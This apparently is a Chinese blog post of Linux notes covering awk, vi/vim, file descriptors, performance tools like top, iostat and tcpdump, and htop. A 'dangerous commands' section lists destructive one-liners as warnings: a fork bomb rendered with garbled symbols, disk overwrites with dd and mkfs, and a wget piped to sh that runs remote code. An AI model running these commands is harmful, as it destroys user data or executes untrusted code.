          127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
          -----
          ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
          HOHO
    • 内部变量:

      • FS:输入字段分隔符(默认空格)
      • OFS:输出字段分隔符
      • RS:输入记录(行)分隔符,默认换行符
  • 格式化输出:
    1. print函数:awk -F: '{print "username is: " $1 "\t uid is: " $3}' /etc/passwd | head -1
      username is: root uid is: 0 想输出文字,用引号 \n换行符
    2. printf函数:awk -F: '{printf "%-10s %-10s %-15s\n", $1,$2,$3}' /etc/
      • 默认是右对齐,-表示左对齐
  • 任何awk语句都由模式和动作组成。模式部分决定动作语句何时触发及触发事件。如果省略模式部分,动作将时刻保持执行状态。每一行都会有动作。模式可以是任何条件语句或复合语句或正则表达式。有模式的话,就是对模式对应的行进行动作。
  • awk调用变量
    • 自定义内部变量 -v:awk -v user=root -F: '$1 == user' /etc/passwd
    • 外部变量 :
      • 双引号:var="bash" echo "unix script" | awk "{print "123","$var"}"
        • 注意 awk调用外部变量时,外部使用双引号,内部也使用双引号,但需要转义内部的双引号
      • 单引号: echo "unix script" |awk '{print $1,"'"$var"'"}' 注意使用单引号时,内部需要用双引转义
  • 条件&判断
    • if语句:awk -F: '{if($3==0) {print $1 " is administrator."}}' /etc/passwd
    • if...else语句:{if(表达式){语句;语句;...}else{语句;语句;...}}
      1. 如果第三列是0,打印该行第一列,否则打印第七列,awk -F: '{if($3==0){print $1} else {print $7}}' /etc/passwd
      2. 统计管理员和系统用户数量:awk -F: '{if($3==0){i++} else if($3>999){k++} else{j++}} END{print "管理员个数: "i; print "普通用个数: "k; print "系统用户: "j}' /etc/passwd
    • 嵌套if:
      • 题目:显示出三种用户的信息,管理员:管理员ID为0,内置用户:用户ID<1000,普通用户: 用户ID>999
      • awk -F: '{if($3==0){print $1," is admin "}else if ($3>999){print $1," is user"}else {print $1, " is sofo user"}}' /etc/passwd
  • 循环
    • while循环打印10个数字:awk 'BEGIN{ while(i<=10){print i; i++} }'
    • while第一行打印十次:awk -F: '{ while(i<=9) {print $0; i++}}' passwd
    • for循环打印5个数字:awk 'BEGIN{for(i=1;i<=5;i++){print i} }'
    • for将每行打印10次:awk -F: '{ for(i=1;i<=10;i++) {print $0} }' /etc/passwd
    • for打印每一行的每一列: awk -F: '{ for(i=1;i<=NF;i++) {print $i} }' passwd
      • 说明:NF是最大列数,循环打印了每一列。
  • 案例
    1. 统计/etc/passwd中各种类型shell的数量: awk -F: '{shells[$NF]++} END{ for(i in shells){print i,shells[i]} }' /etc/passwd
  • $NF 最后一列的字段内容
    {}行处理
    把统计的对象,作为索引。每次递增。
    Print i 打印索引
    Shells[i] 数组加索引,显示的就是值
    2. 统计Apache/Nginx日志中的访问前十 <统计日志>:cat access_log |awk '{ips[$1]++} END{for(i in ips){print i,ips[i]} }' |sort -k2 -rn |head

Shell并发控制(了解)并发无法控制数量

  • FD:File Descriptors (FD,文件描述符)或 文件句柄:进程使用文件描述符来管理打开的文件

    • ls /proc/$$/fd 0 1 2 3 4 0, 1, and 2, known as standard input, standard output, and standard error

    • 新示例:利用FD还原文件

      ```
          ll /proc/$$/fd  //查看当前shell开启的fd
          touch file1   //创建一个文件进行测试
          exec   6<>file1    //FD打开文件,注意6后面没有空格,6<>是新的FD(重点)
          echo 111 > file1  //输入内容至文件
          ll /proc/$$/fd  //查看FD,新的FD打开成功。
          cat file1   //查看文件内容,也输入成功。
          rm -rf file1   //移除文件
          ll /proc/$$/fd  //查看FD,依然存在。
          cat file6   //查看文件,已经不再了。
          cat: file6: 没有那个文件或目录
          cat /proc/$$/fd/6 //查看FD,依然存在。
          有内容
          //删除文件,FD没有释放,文件还在。前期实验通过FD还原文件。
      
              
          exec 6<&-    //关闭FD(重点)
          ll /proc/$$/fd
                          //FD 已经释放 
      ```
      
  • 利用FD和NP解决并发乱序问题

Vi篇

  • vi:visual interface的简称,是Linux上基本的文本编辑工具,可以执行输 出、删除、查找、替换、块操作等众多文本操作,而且用户可以根据自己的需 要对其进行定制。
  • vim:vi IMproved的简写,属于增强版的vi,在vi的基础上增加了很多功能, 如代码的关键字加亮等,vim兼容所有的vi指令。
  • 启动vi:如果文件存在,则打开并显示内容,文件不存在,在第一次保存时创建新文件
  • vi的三种模式
    1)命令模式,可以移动光标,修改、删除、复制、搜索
    2)插入模式:i光标尾、a光标前输入、o下加空行、I行尾、A行首、O上加空行
    3)扩展模式,通过:进入,退出、保存、查找替换 :w保存 q退出 !强制
  • Vi操作
  1. 移动光标
    光标位置hjkl控制上下左右 M中间位置 L当前屏幕的最后一行
    (上一个句子,)下一个句子,{上一个段落,}下一个段落
    w下一个字符,b上一个字符
    G 调到最后1行
    15G 表示跳转到 第15行
    1G表示跳转到第1行
    gg 跳转到第1行

ctrl+u,往上滚动半屏
1)H,跳转到本屏显示的第一行
M,调转到本屏显示的中间一行
L,跳转到本屏显示的最后一行
z+Enter,使当前的行成为屏幕显示的第一行
z-,使当前行成为屏幕的最后一行
2. 撤销操作
1)u,撤销最近一次的修改,undo
2)ctrl-r,取消最后一次的撤销,redo
3)U,撤销所有修改
3. 查找操作
1)/text,向后搜索
2)?text,向前搜索
3)n,搜索下一个同样的内容
4)N,搜索上一个同样的内容
4. 复制粘贴
yy 复制, 8yy:从当前光标所在行开始复制8行
dd 剪切, 8dd:从当前光标所在行开始剪切8行
快捷键|功能|快捷键|功能

  • | :-: |:-: |- |-
    | y0 | 光标处到行首复制 | d0 |光标处到行首剪切
    | y$ | 光标处到行尾复制 | d$ |光标处到行尾剪切

对于行,p粘贴在行上,P粘贴在行下
对于字符,p粘贴在字符右侧,P粘贴在字符左
5. 删除
x 删除光标处一个字符 3x 删除三个字符
dtc,删除从光标到c之间的所有字符
rc,将光标下的字符替换为c
dw删除游标处所在的字符
R,进入替换修改状态,esc退出
r 修改一行字符
6. 文件间读取
1):r file,将另外一个file的内容读入到当前文件
2)1,20 w file,将1-20行的内容写入到一个新的file中
3)1,$ w file,将整个文件写入一个新的file
4)1,20 w>>file,将1-20行数据追加到file中
5):n,跳到下一个文件
6):rew,回到第一个文件
7. vi/vim 中可以使用 😒 命令来实现字符串的替换
- 普通替换
:范围 s/str1/str2/ 用str2替换str1 /g 所有的str1全部替换
😒/str1/str2/g 默认当前行
:,$s/str1/str2/g 当前行到文档末尾
:1,$s/str1/str2/g 全文
:%s/str1/str2/ 替换每行第一个str1 % 全部做替换
- 正则替换::% s/<[Tt]om>/David/g
8. 设置
1):set,显示常用的配置选项
2):set all,显示所有的配置选项
3):set number,设置行号
4):set nonu 取消显示行号信息
9. 在命令模式就会产生临时文件

  1. 进入编辑模式对文件进行编辑
  2. 编辑完成之后需要确定是否正常保存退出
    a 是正常退出: 从编辑状态--esc--命令模式--:wq保存退出 (将临时文件重命名)
    b 非正常退出: 临时文件会永久保留
  3. 需要恢复: 重新编辑按R,恢复文件内容
    不用恢复: 重新编辑按E,进行重新编辑
  4. 将临时文件进行删除
    rm -f /oldboy/.oldboy.txt.swpv

有趣的linux命令

  • sl 跑火车

  • fortune 输出名言

  • cowsay "haha" 奶牛说话
    cowsay -f yux "sasa" -f后加动物们
    fortune | cowsay 牛说名言

  • figlet 艺术字生成 ASCLL字符组成

  • oneko 生成喵星人跟着鼠标走

  • xeyes 出现眼睛看这鼠标

  • yes 121 无限输出字符

  • cal 9.1752 打印日历

  • cmatrix 黑客矩阵

  • linuxlog 各发行版本logo、

  • for i in {1..30};do linux_logo -f -L $i;sleep 0.5;done 循环打印所有支持的logo

  • pv 匀速一个一个打印所要显示的东西 pv -qL 10

危险的命令

  1. rm -rf
  2. 😦){😐:&};: :这就是个fork炸弹的实例。
    • 具体操作是通过定义一个名为':'的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
  3. >/dev/sda :这个命令会将某个'命令'的输出写到块设备//dev/sda中。
    • 该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
  4. mv 文件夹 /dev/null :这个命令会移动某个‘文件夹'到/dev/null.
    • 在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
  5. wget http://malicious source -0-| sh :该命令会从一个(也许是)恶意源下载一个脚本并执行。
    • wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
  6. mkfs.ext3 /dev/sda :格式化块设备'sda'
    • 执行命令后块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。
  7. > file :这个命令常用来清空文件内容或记录命令输出。
    • 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了一连数据恢复软件都未必能帮助你了。
  8. foo bar :编辑先前运行的命令而无需重打整个命令。
    • 用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
  9. dd if=/dev/random of= /dev/sda
    • 这个命令会向块设备sda写入随机的垃圾文件从而擦出数据,让你的系统可能陷入混乱和不可恢复的状态。
  10. 隐藏命令:千万不要编译/运行从未知来源的代码。

教你怎么使用Makefile编译工程代码

http://www.myexception.cn/software-architecture-design/972311.html

Linux 服务器的性能参数指标总结

一、CPU和内存类

  • 1.1 top
    第一行后面的三个值是系统在之前 1、5、15 的平均负载,也可以看出系统负载是上升、平稳、下降的趋势,当这个值超过 CPU 可执行单元的数目,则表示 CPU 的性能已经饱和成为瓶颈了。
    第二行统计了系统的任务状态信息。running 很自然不必多说,包括正在 CPU 上运行的和将要被调度运行的;sleeping 通常是等待事件(比如 IO 操作)完成的任务,细分可以包括 interruptible 和 uninterruptible 的类型;stopped 是一些被暂停的任务,通常发送 SIGSTOP 或者对一个前台任务操作 Ctrl-Z 可以将其暂停;zombie 僵尸任务,虽然进程终止资源会被自动回收,但是含有退出任务的 task descriptor 需要父进程访问后才能释放,这种进程显示为 defunct 状态,无论是因为父进程提前退出还是未 wait 调用,出现这种进程都应该格外注意程序是否设计有误。
    第三行 CPU 占用率根据类型有以下几种情况:
    √ (us) user:CPU 在低 nice 值(高优先级)用户态所占用的时间(nice<=0)。正常情况下只要服务器不是很闲,那么大部分的 CPU 时间应该都在此执行这类程序
    √ (sy) system:CPU 处于内核态所占用的时间,操作系统通过系统调用(system call)从用户态陷入内核态,以执行特定的服务;通常情况下该值会比较小,但是当服务器执行的 IO 比较密集的时候,该值会比较大
    √ (ni) nice:CPU 在高 nice 值(低优先级)用户态以低优先级运行占用的时间(nice>0)。默认新启动的进程 nice=0,是不会计入这里的,除非手动通过 renice 或者 setpriority() 的方式修改程序的nice值
    √ (id) idle:CPU 在空闲状态(执行 kernel idle handler )所占用的时间
    √ (wa) iowait:等待 IO 完成做占用的时间
    √ (hi) irq:系统处理硬件中断所消耗的时间
    √ (si) softirq:系统处理软中断所消耗的时间,记住软中断分为 softirqs、tasklets (其实是前者的特例)、work queues,不知道这里是统计的是哪些的时间,毕竟 work queues 的执行已经不是中断上下文了
    √ (st) steal:在虚拟机情况下才有意义,因为虚拟机下 CPU 也是共享物理 CPU 的,所以这段时间表明虚拟机等待 hypervisor 调度 CPU 的时间,也意味着这段时间 hypervisor 将 CPU 调度给别的 CPU 执行,这个时段的 CPU 资源被“stolen”了。这个值在我 KVM 的 VPS 机器上是不为 0 的,但也只有 0.1 这个数量级,是不是可以用来判断 VPS 超售的情况?
    CPU 占用率高很多情况下意味着一些东西,这也给服务器 CPU 使用率过高情况下指明了相应地排查思路:
    √ 当 user 占用率过高的时候,通常是某些个别的进程占用了大量的 CPU,这时候很容易通过 top 找到该程序;此时如果怀疑程序异常,可以通过 perf 等思路找出热点调用函数来进一步排查;
    √ 当 system 占用率过高的时候,如果 IO 操作(包括终端 IO)比较多,可能会造成这部分的 CPU 占用率高,比如在 file server、database server 等类型的服务器上,否则(比如>20%)很可能有些部分的内核、驱动模块有问题;
    √ 当 nice 占用率过高的时候,通常是有意行为,当进程的发起者知道某些进程占用较高的 CPU,会设置其 nice 值确保不会淹没其他进程对 CPU 的使用请求;
    √ 当 iowait 占用率过高的时候,通常意味着某些程序的 IO 操作效率很低,或者 IO 对应设备的性能很低以至于读写操作需要很长的时间来完成;
    √ 当 irq/softirq 占用率过高的时候,很可能某些外设出现问题,导致产生大量的irq请求,这时候通过检查 /proc/interrupts 文件来深究问题所在;
    √ 当 steal 占用率过高的时候,黑心厂商虚拟机超售了吧!
    第四行和第五行是物理内存和虚拟内存(交换分区)的信息:
    total = free + used + buff/cache,现在buffers和cached Mem信息总和到一起了,但是buffers和cached Mem 的关系很多地方都没说清楚。其实通过对比数据,这两个值就是 /proc/meminfo 中的 Buffers 和 Cached 字段:Buffers 是针对 raw disk 的块缓存,主要是以 raw block 的方式缓存文件系统的元数据(比如超级块信息等),这个值一般比较小(20M左右);而 Cached 是针对于某些具体的文件进行读缓存,以增加文件的访问效率而使用的,可以说是用于文件系统中文件缓存使用。
    而 avail Mem 是一个新的参数值,用于指示在不进行交换的情况下,可以给新开启的程序多少内存空间,大致和 free + buff/cached 相当,而这也印证了上面的说法,free + buffers + cached Mem才是真正可用的物理内存。并且,使用交换分区不见得是坏事情,所以交换分区使用率不是什么严重的参数,但是频繁的 swap in/out 就不是好事情了,这种情况需要注意,通常表示物理内存紧缺的情况。
    最后是每个程序的资源占用列表,其中 CPU 的使用率是所有 CPU core 占用率的总和。通常执行 top 的时候,本身该程序会大量的读取 /proc 操作,所以基本该 top 程序本身也会是名列前茅的。
    top 虽然非常强大,但是通常用于控制台实时监测系统信息,不适合长时间(几天、几个月)监测系统的负载信息,同时对于短命的进程也会遗漏无法给出统计信息。
  • 1.2 vmstat
    vmstat 是除 top 之外另一个常用的系统检测工具,下面截图是我用-j4编译boost的系统负载。
    r 表示可运行进程数目,数据大致相符;而b表示的是 uninterruptible 睡眠的进程数目;swpd 表示使用到的虚拟内存数量,跟 top-Swap-used 的数值是一个含义,而如手册所说,通常情况下 buffers 数目要比 cached Mem 小的多,buffers 一般20M这么个数量级;io 域的 bi、bo 表明每秒钟向磁盘接收和发送的块数目(blocks/s);system 域的 in 表明每秒钟的系统中断数(包括时钟中断),cs表明因为进程切换导致上下文切换的数目。
    说到这里,想到以前很多人纠结编译 linux kernel 的时候 -j 参数究竟是 CPU Core 还是 CPU Core+1?通过上面修改 -j 参数值编译 boost 和 linux kernel 的同时开启 vmstat 监控,发现两种情况下 context switch 基本没有变化,且也只有显著增加 -j 值后 context switch 才会有显著的增加,看来不必过于纠结这个参数了,虽然具体编译时间长度我还没有测试。资料说如果不是在系统启动或者 benchmark 的状态,参数 context switch>100000 程序肯定有问题。
  • 1.3 pidstat
    如果想对某个进程进行全面具体的追踪,没有什么比 pidstat 更合适的了——栈空间、缺页情况、主被动切换等信息尽收眼底。这个命令最有用的参数是-t,可以将进程中各个线程的详细信息罗列出来。
    -r:显示缺页错误和内存使用状况,缺页错误是程序需要访问映射在虚拟内存空间中但是还尚未被加载到物理内存中的一个分页,缺页错误两个主要类型是
    √ minflt/s 指的 minor faults,当需要访问的物理页面因为某些原因(比如共享页面、缓存机制等)已经存在于物理内存中了,只是在当前进程的页表中没有引用,MMU 只需要设置对应的 entry 就可以了,这个代价是相当小的
    √ majflt/s 指的 major faults,MMU 需要在当前可用物理内存中申请一块空闲的物理页面(如果没有可用的空闲页面,则需要将别的物理页面切换到交换空间去以释放得到空闲物理页面),然后从外部加载数据到该物理页面中,并设置好对应的 entry,这个代价是相当高的,和前者有几个数据级的差异
    -s:栈使用状况,包括 StkSize 为线程保留的栈空间,以及 StkRef 实际使用的栈空间。使用ulimit -s发现CentOS 6.x上面默认栈空间是10240K,而 CentOS 7.x、Ubuntu系列默认栈空间大小为8196K

二、磁盘IO类

iotop 可以直观的显示各个进程、线程的磁盘读取实时速率;lsof 不仅可以显示普通文件的打开信息(使用者),还可以操作 /dev/sda1 这类设备文件的打开信息,那么比如当分区无法 umount 的时候,就可以通过 lsof 找出磁盘该分区的使用状态了,而且添加 +fg 参数还可以额外显示文件打开 flag 标记。

  • 2.1 iostat
    ➜ ~ iostat -xz 1
    其实无论使用 iostat -xz 1 还是使用 sar -d 1,对于磁盘重要的参数是:
    √ avgqu-s:发送给设备 I/O 请求的等待队列平均长度,对于单个磁盘如果值>1表明设备饱和,对于多个磁盘阵列的逻辑磁盘情况除外
    √ await(r_await、w_await):平均每次设备 I/O 请求操作的等待时间(ms),包含请求排列在队列中和被服务的时间之和;
    √ svctm:发送给设备 I/O 请求的平均服务时间(ms),如果 svctm 与 await 很接近,表示几乎没有 I/O 等待,磁盘性能很好,否则磁盘队列等待时间较长,磁盘响应较差;
    √ %util:设备的使用率,表明每秒中用于 I/O 工作时间的占比,单个磁盘当 %util>60% 的时候性能就会下降(体现在 await 也会增加),当接近100%时候就设备饱和了,但对于有多个磁盘阵列的逻辑磁盘情况除外;
    还有,虽然监测到的磁盘性能比较差,但是不一定会对应用程序的响应造成影响,内核通常使用 I/O asynchronously 技术,使用读写缓存技术来改善性能,不过这又跟上面的物理内存的限制相制约了。
    上面的这些参数,对网络文件系统也是受用的。

三、网络类

网络性能对于服务器的重要性不言而喻,工具 iptraf 可以直观的现实网卡的收发速度信息,比较的简洁方便通过 sar -n DEV 1 也可以得到类似的吞吐量信息,而网卡都标配了最大速率信息,比如百兆网卡千兆网卡,很容易查看设备的利用率。
通常,网卡的传输速率并不是网络开发中最���关切的,而是针对特定的 UDP、TCP 连接的丢包率、重传率,以及网络延时等信息。

  • 3.1 netstat
    ➜ ~ netstat -s
    显示自从系统启动以来,各个协议的总体数据信息。虽然参数信息比较丰富有用,但是累计值,除非两次运行做差才能得出当前系统的网络状态信息,亦或者使用 watch 眼睛直观其数值变化趋势。所以netstat通常用来检测端口和连接信息的:
    netstat –all(a) –numeric(n) –tcp(t) –udp(u) –timers(o) –listening(l) –program(p)
    –timers可以取消域名反向查询,加快显示速度;比较常用的有
    ➜ ~ netstat -antp #列出所有TCP的连接
    ➜ ~ netstat -nltp #列出本地所有TCP侦听套接字,不要加-a参数
  • 3.2 sar
    sar 这个工具太强大了,什么 CPU、磁盘、页面交换啥都管,这里使用 -n 主要用来分析网络活动,虽然网络中它还给细分了 NFS、IP、ICMP、SOCK 等各种层次各种协议的数据信息,我们只关心 TCP 和 UDP。下面的命令除了显示常规情况下段、数据报的收发情况,还包括
    TCP
    ➜ ~ sudo sar -n TCP,ETCP 1
    图片
    √ active/s:本地发起的 TCP 连接,比如通过 connect(),TCP 的状态从CLOSED -> SYN-SENT
    √ passive/s:由远程发起的 TCP 连接,比如通过 accept(),TCP 的状态从LISTEN -> SYN-RCVD
    √ retrans/s(tcpRetransSegs):每秒钟 TCP 重传数目,通常在网络质量差,或者服务器过载后丢包的情况下,根据 TCP 的确认重传机制会发生重传操作
    √ isegerr/s(tcpInErrs):每秒钟接收到出错的数据包(比如 checksum 失败)
    UDP
    ➜ ~ sudo sar -n UDP 1
    √ noport/s(udpNoPorts):每秒钟接收到的但是却没有应用程序在指定目的端口的数据报个数
    √ idgmerr/s(udpInErrors):除了上面原因之外的本机接收到但却无法派发的数据报个数
    当然,这些数据一定程度上可以说明网络可靠性,但也只有同具体的业务需求场景结合起来才具有意义。
  • 3.3 tcpdump
    tcpdump 不得不说是个好东西。大家都知道本地调试的时候喜欢使用 wireshark,但是线上服务端出现问题怎么弄呢?
    附录的参考文献给出了思路:复原环境,使用 tcpdump 进行抓包,当问题复现(比如日志显示或者某个状态显现)的时候,就可以结束抓包了,而且 tcpdump 本身带有 -C/-W 参数,可以限制抓取包存储文件的大小,当达到这个这个限制的时候保存的包数据自动 rotate,所以抓包数量总体还是可控的。此后将数据包拿下线来,用 wireshark 想怎么看就怎么看,岂不乐哉!tcpdump 虽然没有 GUI 界面,但是抓包的功能丝毫不弱,可以指定网卡、主机、端口、协议等各项过滤参数,抓下来的包完整又带有时间戳,所以线上程序的数据包分析也可以这么简单。
    下面就是一个小的测试,可见 Chrome 启动时候自动向 Webserver 发起建立了三条连接,由于这里限制了 dst port 参数,所以服务端的应答包被过滤掉了,拿下来用 wireshark 打开,SYNC、ACK 建立连接的过程还是很明显的!在使用 tcpdump 的时候,需要尽可能的配置抓取的过滤条件,一方面便于接下来的分析,二则 tcpdump 开启后对网卡和系统的性能会有影响,进而会影响到在线业务的性能。

Aria2是一个免费的开源轻量级多协议命令行实用程序,可以从Internet上下载文件。它支持各种协议,例如HTTP,HTTPS,FTP甚至BitTorrent。Aria2可在Windows,Linux和Mac OSX上运行

Aria2主要功能

1)资源占用少:Aria2非常轻量化,占用CPU和内存一小部分。正常FTP/HTTP下载,占用内存约为4MB,BitTorrent下载占用内存约为9MB。
2)多连接下载:Aria2是一种多协议下载工具,支持多种协议,并尝试尽可能多地使用最大带宽来加快下载速度。
3)远程控制:Aria2支持RPC接口,更具体地说是JSON-RPC和XML-RPC。
4)功能齐全的BT功能:这些功能包括种子文件,磁力链接,加密,选择性下载和本地对等发现等。

监控等工具

Htop

  • 在管理进程时通常要借助一些工具,比较常用的就是ps和top了;介绍一个更加强大的工具htop
  • htop跟top一样,也是打开一个实时的监控界面,直接输入htop命令打开如下图所示界面:
  • 在上图中将输出的界面划分成了四个区域,其中:
    • 上左区:显示了CPU、物理内存和交换分区的信息;
    • 上右区:显示了任务数量、平均负载和连接运行时间等信息;
    • 进程区域:显示出当前系统中的所有进程;
    • 操作提示区:显示了当前界面中F1-F10功能键中定义的快捷功能。
  • 快捷键
    • F1:显示帮助信息;
    • F2:配置界面中的显示信息;我们可以根据自己的需要修改显式模式以及想要显示的内容,比如:以LED的形式显示CPU的使用情况,并且在左边的区域添加hostname,在右边的区区域添加clock;我们也可以自定义进程区域中的显示内容:
    • F3:进程搜索(search);
    • F4:进程过滤器(filter);
      • 从上面的结果可以看出search和filter的区别:
        • search会将光标定位到符合条件的进程上,通过F3键进行逐个查找;而filter会直接将符合条件的进程筛选出来。
        • search和filter都使用ESC键来取消功能。
    • F5:显示进程树;
    • F6:排序;
    • F7:减小nice值;
    • F8:增加nice值;直接修改光标选取的进程的nice值:
    • F9:杀掉指定进程;
    • F10:退出htop。
    • 空格键:用于标记选中的进程,用于实现对多个进程同时操作;
    • U:取消所有选中的进程;
    • s:显示光标所在进程执行的系统调用;
    • 下面显示的为init的系统调用信息:
    • l:显示光标所在进程的文件列表;
    • I:对排序的结果进行反转显示;例如,对PPID进行排序后,按‘I’键将会对PPID的排序结果进行反向排序。
    • a:绑定进程到指定的CPU;
    • u:显示指定用户的进程;
    • M:按照内存使用百分比排序,对应MEM%列;
    • P:按照CPU使用百分比排序,对应CPU%列;
    • T:按照进程运行的时间排序,对应TIME+列;
    • K:隐藏内核线程;
    • H:隐藏用户线程;
    • :快速定位光标到PID所指定的进程上。

  • htop相关选项
    • -d:设置刷新时间,单位为秒;
    • -C:设置界面为无颜色;
    • -u:显示指定用户的进程;
    • -s:以指定的列排序;

  1. \t ↩︎

  2. \t ↩︎

posted @ 2022-04-18 11:51  ds6666  阅读(276)  评论(0)    收藏  举报